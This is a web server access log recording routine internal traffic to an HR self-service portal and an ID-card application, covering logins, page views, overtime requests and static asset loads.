192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038
192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:04:20 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:04:20 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107
192.168.11.222 - - [25/May/2023:12:04:20 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.222 - - [25/May/2023:12:04:20 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.236 - - [25/May/2023:11:57:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:11:57:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 -
192.168.11.222 - - [25/May/2023:12:08:06 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:08:06 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480
192.168.11.222 - - [25/May/2023:12:08:15 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 147 "http://192.168.1.81:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:08:15 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 147
192.168.11.222 - - [25/May/2023:12:08:57 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:08:57 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480
192.168.11.222 - - [25/May/2023:12:09:24 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:09:24 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.222 - - [25/May/2023:12:09:33 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088
192.168.11.222 - - [25/May/2023:12:09:33 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 "http://192.168.1.81:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:10:15 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:10:15 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [25/May/2023:12:10:16 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:10:16 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [25/May/2023:12:10:15 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [25/May/2023:12:10:15 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:10:20 +0800] "GET /idcard/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:10:20 +0800] "GET /idcard/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.222 - - [25/May/2023:12:09:45 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 -
192.168.11.222 - - [25/May/2023:12:09:45 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:10:17 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001&appdesc=%E4%BA%BA%E4%BA%8B%E8%B5%84%E6%96%99%E8%BE%93%E5%85%A5 HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:10:17 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001&appdesc=%E4%BA%BA%E4%BA%8B%E8%B5%84%E6%96%99%E8%BE%93%E5%85%A5 HTTP/1.1" 200 -
192.168.11.222 - - [25/May/2023:12:10:52 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001&appdesc=%E4%BA%BA%E4%BA%8B%E8%B5%84%E6%96%99%E8%BE%93%E5%85%A5 HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:10:52 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001&appdesc=%E4%BA%BA%E4%BA%8B%E8%B5%84%E6%96%99%E8%BE%93%E5%85%A5 HTTP/1.1" 200 -
192.168.11.222 - - [25/May/2023:12:10:55 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001&appdesc=%E4%BA%BA%E4%BA%8B%E8%B5%84%E6%96%99%E8%BE%93%E5%85%A5 HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:10:55 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001&appdesc=%E4%BA%BA%E4%BA%8B%E8%B5%84%E6%96%99%E8%BE%93%E5%85%A5 HTTP/1.1" 200 -
192.168.11.222 - - [25/May/2023:12:11:20 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 8487 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:11:20 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 8487
192.168.11.222 - - [25/May/2023:12:11:43 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:11:43 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477
192.168.11.222 - - [25/May/2023:12:13:44 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 8487
192.168.11.222 - - [25/May/2023:12:13:44 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 8487 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:13:52 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.222 - - [25/May/2023:12:13:52 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:14:15 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:14:15 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088
192.168.11.222 - - [25/May/2023:12:14:35 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:14:35 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010
192.168.11.222 - - [25/May/2023:12:14:35 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:14:35 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865
192.168.11.222 - - [25/May/2023:12:14:35 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:14:35 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726
192.168.11.222 - - [25/May/2023:12:14:40 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:14:40 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626
192.168.11.222 - - [25/May/2023:12:14:40 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.222 - - [25/May/2023:12:14:40 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:14:40 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788
192.168.11.222 - - [25/May/2023:12:14:40 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.141 - - [25/May/2023:12:00:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.11.141 - - [25/May/2023:12:00:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:12:02:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.11.141 - - [25/May/2023:12:00:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.141 - - [25/May/2023:12:02:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:12:00:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.222 - - [25/May/2023:12:14:16 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 34636
192.168.11.222 - - [25/May/2023:12:14:16 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 34636 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.141 - - [25/May/2023:12:16:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:12:16:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.222 - - [25/May/2023:12:18:18 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:18:18 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 -
192.168.11.222 - - [25/May/2023:12:18:41 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 142
192.168.11.222 - - [25/May/2023:12:18:41 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 142 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:19:05 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 205
192.168.11.222 - - [25/May/2023:12:19:05 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 205 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:19:13 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 8487
192.168.11.222 - - [25/May/2023:12:19:13 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 8487 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:19:31 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:19:31 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480
192.168.11.222 - - [25/May/2023:12:21:12 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:21:12 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.222 - - [25/May/2023:12:21:42 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088
192.168.11.222 - - [25/May/2023:12:21:42 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 "http://192.168.1.81:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:21:52 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50660 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:21:52 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50660
192.168.11.222 - - [25/May/2023:12:36:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:36:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [25/May/2023:12:36:38 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857
192.168.11.222 - - [25/May/2023:12:36:38 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:43:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:43:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.97 - - [25/May/2023:12:47:03 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.11.97 - - [25/May/2023:12:47:03 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851
192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837
192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957
192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
